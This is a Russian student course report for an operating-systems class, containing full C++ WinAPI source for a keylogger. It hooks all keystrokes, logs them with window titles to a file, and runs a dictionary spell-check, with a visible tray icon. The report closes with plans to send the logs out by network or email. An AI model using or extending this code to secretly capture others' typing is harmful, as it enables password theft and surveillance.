Московский Авиационный Институт
(Национальный Исследовательский Университет)
Факультет информационных технологий и прикладной математики
Кафедра вычислительной математики и программирования

Курсовой проект по курсу
«Операционные системы»

Студент: Моисеенков Илья Павлович
Группа: М80 – 208Б-19
Преподаватель: Миронов Евгений Сергеевич
Дата: 28.12.2020
Оценка: отлично
Подпись: _____

Москва, 2020

1. Постановка задачи

Реализовать программу, отслеживающую нажатия клавиш на клавиатуре (кейлоггер).
Требования к реализации:

- программа следит за всеми нажатиями клавиш клавиатуры и логгирует это в файл
- кейлоггер должен работать как с русской, так и с английской раскладкой
- кейлоггер должен фиксировать нажатия клавиш Enter, Space, Backspace и т.п.
- кейлоггер должен отображаться в системном трее. При наведении на иконку в трее должно показываться сообщение о перехвате клавиш
- кейлоггер должен выполнять проверку введённых слов на корректность (проверка орфографии)

2. Общие сведения о программе

Программа написана на языке C++ для операционной системы Windows. При написании программы использовались функции WinAPI.

Программа выполняет перехват данных при помощи хука, отслеживающего все нажатия клавиш клавиатуры. Учитывается текущая раскладка и состояние клавиатуры. Программа может работать с любыми раскладками, так как используется кодировка Unicode.

Кейлоггер отслеживает название окна, в котором находился пользователь в момент нажатия клавиши. Это название, как и сами клавиши, записываются в файл log.txt.

Для кейлоггера создаётся пустое окно. С этим окном связывается иконка в системном трее. Для иконки используется стандартный значок с восклицательным знаком. Для завершения работы программы необходимо нажать правой кнопкой мыши по иконке в трее и подтвердить выключение.

Программа выполняет проверку на правильность введённых слов. Словарь со всеми возможными словами располагается в файле dictionary.txt. При вводе пробела (или другого разделителя) выполняется проверка только что введённого слова. Если такое слово отсутствует в словаре, то будет издан звуковой сигнал. Используются стандартные сигналы Windows.

3. Общий метод и алгоритм решения

При запуске программы регистрируется новый класс для окна программы. Для этого используется структура WNDCLASSEX. Она заполняется по минимуму, так как окно нужно лишь для привязки иконки из системного трея.

После создания пустого окна можно добавлять иконку. Для этого необходимо заполнить поля структуры NOTIFYICONDATA. Для иконки используется стандартный треугольный значок с восклицательным знаком. При наведении курсора на иконку появляется сообщение о том, что кейлоггер работает.

После подготовки визуальной части необходимо установить хук, который будет реагировать на все нажатия клавиатуры. Для этого используется функция SetWindowsHookEx с ключом WH_KEYBOARD_LL. Callback-функция определяет структуру KBDLLHOOKSTRUCT, в которой хранится вся информация о нажатой клавише, и отправляет виртуальный код клавиши функции WriteToLog.

Функция WriteToLog получает хэндл текущей раскладки и название окна на переднем плане. Если название предыдущего окна отличается от текущего, то новое название

записывается в файл. Также фиксируется дата и время. Функция проверяет состояния клавиш Shift и CapsLock, чтобы определить регистр буквы. При помощи функции ToUnicodeEx мы переводим виртуальный код клавиши в кодировку Unicode, а при помощи WideCharToMultiByte мы получаем символ, соответствующий этому коду. Полученный символ печатается в файл.

Для проверки орфографии мной был реализован класс dictionary. В основе класса лежит unordered_set. Это наиболее подходящая структура для быстрого поиска слов. Конструктор класса считывает из файла все слова и добавляет их в словарь. Вставка и поиск в unordered_set выполняются в среднем за O(1). Если возникнет проблема при открытии файла, то будет издан соответствующий звуковой сигнал. В противном случае в буфере будут храниться символы текущего слова и при вводе пробела (или запятой, точки, вопросительного знака и т.д.) проверять наличие этого слова в словаре. Если такое слово отсутствует, то будет издан предупреждающий звуковой сигнал. Словарь регистронезависим. Также отслеживается нажатие на клавишу BackSpace: в этом случае из буфера удаляется последний символ. После проверки слова буфер очищается.

4. Основные файлы программы

dictionary.h

```
#include <unordered_set>
#include <algorithm>

std::string dictionary_file = "dictionary.txt";

class dictionary {
private:
    std::unordered_set<std::string> dict;
public:
    dictionary() {
        std::ifstream in;
        in.open(dictionary_file, std::ios::in);
        if (!in.is_open()) {
            MessageBeep(MB_ICONERROR);
        }
        std::string word;
        while (in >> word) {
            std::transform(word.begin(), word.end(), word.begin(),
                           [](char c) { return std::tolower(c); });
            dict.insert(word);
        }
        in.close();
    }

    bool check(std::string &str) {
        std::transform(str.begin(), str.end(), str.begin(),
                       [](char c) { return std::tolower(c); });
        return dict.count(str);
    }
};
```

main.cpp

```
#include <windows.h>
#include <iostream>
#include <fstream>
#include <ctime>
```

```
#include "dictionary.h"

/*
 * A hook is a point in the system message-handling mechanism
 * where an application can install a subroutine to monitor
 * the message traffic in the system and process certain types of messages
 * before they reach the target window procedure.
 */
HHOOK hook; // handler to the hook

// contains information about a low-level keyboard input event.
KBDLLHOOKSTRUCT KBStruct;

// contains information that the system needs to display notifications in the
notification area
NOTIFYICONDATA nid = {0};

std::ofstream file; // for output
char PrevProgName[256]; // name of program

dictionary dict;
std::string buffer;

void CheckWord(std::string& buf) {
    if (!buf.empty() && !dict.check(buf)) {
        MessageBeep(MB_ICONEXCLAMATION);
    }
    buf.clear();
}

void WriteToLog(int key) {
    // mouse click -> skipping it
    if (key == 1 || key == 2) {
        return;
    }

    // HWND - handler to the window
    HWND foreground = GetForegroundWindow();

    // DWORD == unsigned int
    DWORD ThreadID;

    // HKL - handler to the keyboard layout
    HKL KeyboardLayout;

    ThreadID = GetWindowThreadProcessId(foreground, NULL);
    KeyboardLayout = GetKeyboardLayout(ThreadID);

    if (foreground) {
        // there is a program in foreground

        char CurProgName[256];
        GetWindowTextA(foreground, CurProgName, 256);

        if (strcmp(CurProgName, PrevProgName) != 0) {
            strcpy(PrevProgName, CurProgName);

            time_t CurTime = time(NULL);
            struct tm *tm = localtime(&CurTime);
            char time[64];
            strftime(time, sizeof(time), "%c", tm);

            file << std::endl << "[" << CurProgName << " | " << time << "]" <<
std::endl;
        }
```

```
}

switch (key) {
    case VK_BACK:
        file << "[BACKSPACE]";
        if (!buffer.empty()) {
            buffer.pop_back();
        }
        break;
    case VK_RETURN:
        file << "\n";
        CheckWord(buffer);
        break;
    case VK_SPACE:
        file << " ";
        CheckWord(buffer);
        break;
    case VK_TAB:
        file << "[TAB]";
        CheckWord(buffer);
        break;
    case VK_SHIFT:
    case VK_LSHIFT:
    case VK_RSHIFT:
    case VK_CONTROL:
    case VK_LCONTROL:
    case VK_RCONTROL:
    case VK_MENU:
    case VK_LMENU:
    case VK_RMENU:
    case VK_CAPITAL:
        break;
    case VK_ESCAPE:
        file << "[ESC]";
        break;
    case VK_END:
        file << "[END]";
        break;
    case VK_HOME:
        file << "[HOME]";
        break;
    case VK_UP:
        file << "[UP]";
        break;
    case VK_DOWN:
        file << "[DOWN]";
        break;
    case VK_LEFT:
        file << "[LEFT]";
        break;
    case VK_RIGHT:
        file << "[RIGHT]";
        break;
    default: {
        bool lower;
        if ((GetKeyState(VK_CAPITAL) & 0x0001) != 0) {
            // If the low-order bit is 1, the key is toggled.
            lower = true;
        } else {
            lower = false;
        }

        if ((GetKeyState(VK_SHIFT) & 0x1000) != 0) {
            // If the high-order bit is 1, the key is down
            lower = !lower;
```

```
            }

            BYTE KeyboardState[256];
            GetKeyboardState(KeyboardState);

            wchar_t UnicodeKey;
            char CurKey;
            ToUnicodeEx(key, MapVirtualKey(key, MAPVK_VK_TO_VSC), KeyboardState,
&UnicodeKey, 1, 0, KeyboardLayout);

            // maps a UTF-16 string to a new character string.
            WideCharToMultiByte(CP_ACP, 0, &UnicodeKey, -1, &CurKey, 1, NULL, NULL);


            // key will be in upper case by default
            if (!lower) {
                CurKey = tolower(CurKey);
            }
            if (CurKey == ',' || CurKey == '.' || CurKey == '!' || CurKey == '?' ||
                    CurKey == ':' || CurKey == ';' || CurKey == ')' || CurKey == '(')
{
                CheckWord(buffer);
                file << CurKey;
            }
            else if (std::iswalpha(UnicodeKey)) {
                file << CurKey;
                buffer.push_back(CurKey);
            }
        }
    }
    file.flush();
}

// activates if the key is pressed
LRESULT CALLBACK HookCallBack(int code, WPARAM message, LPARAM event) {
    if (code >= 0) {
        if (message == WM_KEYDOWN || message == WM_SYSKEYDOWN) {
            // getting info about pressed key
            KBStruct = *((KBDLLHOOKSTRUCT*)event);
            WriteToLog(KBStruct.vkCode);
        }
    }

    // passes the hook information to the next hook procedure in the current hook
chain.
    return CallNextHookEx(hook, code, message, event);
}

// processes messages sent to a window
LRESULT CALLBACK WindowProc(HWND window, UINT message, WPARAM wParam, LPARAM lParam) {
    switch (message) {
        // message from icon
        case WM_USER:
            if (lParam == WM_RBUTTONDOWN)
                if (MessageBox(NULL, TEXT("Close keylogger?"), TEXT("Keylogger"),
MB_YESNO) == IDYES) {
                    DestroyWindow(window);
                    Shell_NotifyIconA(NIM_DELETE, &nid);
                }
            break;
        case WM_DESTROY:
            // indicates to the system that a thread has made a request to terminate
            PostQuitMessage(0);
            break;
        default:
            // calls the default window procedure to provide default processing for
```

```
            // any window messages that an application does not process
            return DefWindowProc(window, message, wParam, lParam);
    }
}

int WINAPI WinMain(HINSTANCE instance, HINSTANCE, LPTSTR, int) {
    ShowWindow(FindWindowA("ConsoleWindowClass", NULL), SW_HIDE);
    setlocale(LC_ALL, "russian");

    // registering new window class (it is needed for tray icon)
    WNDCLASSEX main = { 0 }; // contains window class information
    main.cbSize = sizeof(WNDCLASSEX); // size of structure
    main.hInstance = instance; // handle to the instance that contains window
procedure
    main.lpszClassName = TEXT("Main"); // class name
    main.lpfnWndProc = WindowProc; // window procedure function
    RegisterClassEx(&main);

    // creating main window
    HWND window = CreateWindowEx(0, "Main", NULL, 0, 0, 0, 0, 0, NULL, NULL, instance,
NULL);


    nid.cbSize = sizeof(NOTIFYICONDATA); // size of structure
    nid.hWnd = window; // handle to the window that receives notifications associated
with an icon
    nid.uFlags = NIF_MESSAGE | NIF_ICON | NIF_TIP; // shows that uCallbackMessage,
hIcon and szTip are valid
    nid.uCallbackMessage = WM_USER;
    nid.hIcon = LoadIcon(NULL, IDI_WARNING); // handle to icon
    sprintf(nid.szTip, "Keylogger is active. Right click to close");

    Shell_NotifyIconA(NIM_ADD, &nid);

    //file.open("log.txt", std::ios::app); // we'll write to the end of file
    file.open("log.txt", std::ios::out | std::ios::trunc);

    // installing hook that monitors low-level keyboard events
    hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallBack, NULL, 0);

    // MSG contains message information from a thread's MQ.
    MSG message;

    // retrieves messages for any window that belongs to the current thread
    while (GetMessage(&message, NULL, 0, 0)) {
        TranslateMessage(&message);
        DispatchMessage(&message);
    }
}
```

5. Выводы

При выполнении данного курсового проекта я ознакомился с функциями и возможностями WinAPI. Оказалось, что ОС Windows предоставляет широкий спектр функций для взаимодействия с системой (по некоторым данным их больше 15 тысяч). WinAPI даёт программисту почти полную власть над системой. Мне понадобилось достаточно много времени, чтобы познакомиться с основными функциями для работы с Windows и изучить некоторые структуры, необходимые для выполнения задания.

Мной были исследованы механизмы перехвата сообщений при помощи хуков, обработки поступающих сообщений, способы взаимодействия с окнами и системным треем и правила проектирования callback-функций.

Полученные знания я применил для написания программы-кейлоггера. В дальнейшем я планирую усовершенствовать свою программу: реализовать передачу данных по сети или по электронной почте.